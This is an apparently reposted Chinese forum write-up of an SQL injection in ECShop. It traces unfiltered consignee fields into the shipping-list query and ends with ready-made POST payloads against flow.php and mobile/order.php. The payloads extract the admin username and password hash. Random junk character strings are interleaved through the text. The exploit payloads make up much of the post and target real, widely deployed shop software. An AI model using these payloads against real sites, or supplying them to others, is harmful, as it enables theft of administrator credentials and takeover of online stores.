ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
9 I* y7 G$ M$ s; G: y7 r5 t/ N( |5 [: O
7 G6 q7 F) r/ g3 Z' K3 w; P# r- _    漏洞关键文件：

  r) ]1 y; B" w    /includes/lib_order.php
& I- n8 _  V  k% G) A
    关键函数：

& q8 W- f5 b4 n" Q
, d2 V) r4 |+ n/ Q/ K3 r" f
) M2 b- }7 F% u* o3 g01     function available_shipping_list($region_id_list)

02 {
' d9 L/ C" Z1 m8 J' l9 K: |; C$ K
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
, ?4 L1 _) L& f6 a
' Y$ a' {- l" E6 G  a9 W: q04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
: g3 y* Y' s6 M# {8 f- c2 ?& h: G
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
. Q5 \. i1 x; f, \- I6 I
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

08             'WHERE r.region_id ' . db_create_in($region_id_list) .
- V. }9 ?+ N- |2 O9 s6 H
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
+ k. e/ m% N7 V8 q0 v, q+ o
# {) P/ w4 ]$ S3 n) E5 W10   

11     return $GLOBALS['db']->getAll($sql);

12 }
* b# k2 w8 w3 w* n" _# a2 h; p, O
0 r" U5 C) n9 y! [显然对传入的参数没有任何过滤就带入了查询语句。
! J$ U4 O9 H& Q  x! t
下面我们追踪这个函数在flow.php中：
第531行：   

- O2 O2 H. C! o/ c8 ~1 $shipping_list     = available_shipping_list($region);

" I: O6 v7 }0 O: ^
2 V( I# Q, ]- @) {+ p: t


再对传入变量进行追踪：

' o$ X/ m$ A. ^* H# t& l/ t" h第530行：   
0 z; s2 c# P+ u. g
5 s  b0 P* S8 ?7 h) `2 ?1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);



1 G$ }( ^9 H8 l

$ ]2 n* ?$ M( C- o7 s2 z第473行：        
' {! J+ Q* c- ]- g% [1 z! i
1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：

/includes/lib_order.php
" h6 M5 N& n) [

! L; O2 ~& W1 d2 y& u


1 M! G% _) [- }; D9 X  T0 E01 function get_consignee($user_id)

02 {

5 m( L% v% }0 P" ^03     if (isset($_SESSION['flow_consignee']))

) x  _# H( i( `' S/ j4 Y04     {
+ B) O4 E5 l- k# O- w
, c' l" m  ~- X$ u05         /* 如果存在session，则直接返回session中的收货人信息 */

06   

3 k) i0 Z/ w+ |4 N# Q! e07         return $_SESSION['flow_consignee'];
5 k! t+ ]5 ~1 ~  K
. W7 ~/ }2 s# \. ^7 N8 o08     }

09     else
; |1 u) i, E9 |5 W
4 u5 Q8 {( `3 y10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */
/ ?" Q; e6 ]" l
12         $arr = array();

- O& t9 m; @  @; m: {& j* M13   

14         if ($user_id > 0)
$ v" {, l# z3 s8 M' D
, [* N2 a3 C  r15         {
/ }* I& t7 ?+ c( B4 {9 m4 I
16             /* 取默认地址 */

2 k4 k, {9 m6 R! N+ Z2 h0 U17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

! H3 p! q+ O5 V* [8 u; ~20   
, E' G" }! }! n2 ^0 j
: [% ~. r, w. P8 f' z. I# W; M3 s21             $arr = $GLOBALS['db']->getRow($sql);

8 B0 ^$ w: `1 x7 G22         }

23   

24         return $arr;

8 v9 r# O1 D# B) i% J1 B/ m25     }
* L! i# c% c0 W- l0 Y
26 }
, Q" Z: C  c' R+ k4 U8 Y
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？



关键点:

' W* V* k4 ^! r2 c3 ]第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

& \. E6 o3 w; \* ^这里对传入参数反转义存入$_SESSION中。
: Y. j; D( W0 ?+ F" N
+ Y1 c/ S2 I5 `" E* e
0 A- D2 u9 c: T; U6 Q
然后看下：
0 O$ \0 I) }* D% }# h; e/ y0 E) W  x1 e
# L8 y/ O" [& q

) }0 S  S4 X* V   
' u4 [# q: i9 d3 y5 t) q4 O) Q
+ {0 l1 |/ P7 G4 g01 $consignee = array(
/ c: `9 e( T9 f3 ?5 z4 X7 S
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

* ~5 i1 W4 q9 D6 C/ W% x03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
5 H0 p; r- N  C. k) |! c
5 u' Q/ Z! q2 Y7 H04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
! Q9 z# L, f$ ]4 X7 z+ G
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

0 u1 J( @0 f! C, r$ N; t: j5 K07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
- v. k! w$ n: y8 p- u, Q8 E/ m* ^
% [9 M  h6 c* {: M( ]: E% K08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
+ K: s: W, j5 v1 Y
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

" A+ J5 e. H8 X, n10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
8 g, J; c- C- L
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
8 Q1 r1 y# P+ a7 A& H9 v0 Q4 S" r
# e# w+ ^$ b) |+ D4 }6 y13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );

好了注入就这样出现了。

0 K% H7 Z) t5 t6 Z  d==================
; Z2 b/ G% o( e+ i- P
注入测试：

% B- N% Y2 s1 r环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106
9 Z2 W/ r$ b$ A7 o& B8 H


1.首先需要点击一个商品加入购物车

$ y2 R" x0 S. G" d: [2.注册一个会员帐号
# o7 ?) K- W1 J4 b
3.post提交数据

# V  b' e( m; Y5 c3 G( Q
( I3 P  S; H  E* I: m$ V( J
7 {* V9 K$ z5 k7 I1 http://127.0.0.1/ecshop/flow.php
" Y. ~- N$ f$ @7 d4 a/ e
2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
" }' Q9 S0 l6 N; N8 m- x8 G举一反三，我们根据这个漏洞我们可以继续深入挖掘：

! {/ h1 X4 g0 e+ w8 Z我们搜寻关键函数function available_shipping_list()

4 @* c) L0 @- p3 K% ^/ ~9 }在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
5 M, P2 d/ @( j7 k" z
% |5 |5 ]9 }5 T0 Z0 O利用exp:
2 U, F, O4 m. h4 z# ]; m, S8 [
1.点击一个商品，点击购买商标

9 L* G5 f3 e0 D! j; x2.登录会员帐号

3.post提交：

) z* A# [, r! o* }http://127.0.0.1/ecshop/mobile/order.php

" i8 `& Z  @* H5 k: f6 j" F" a1 r
" O) o0 s* \! o4 a! q
5 [5 v0 @8 I% e8 ?/ Ycountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

, E0 v2 E! I# \. u0 |1 U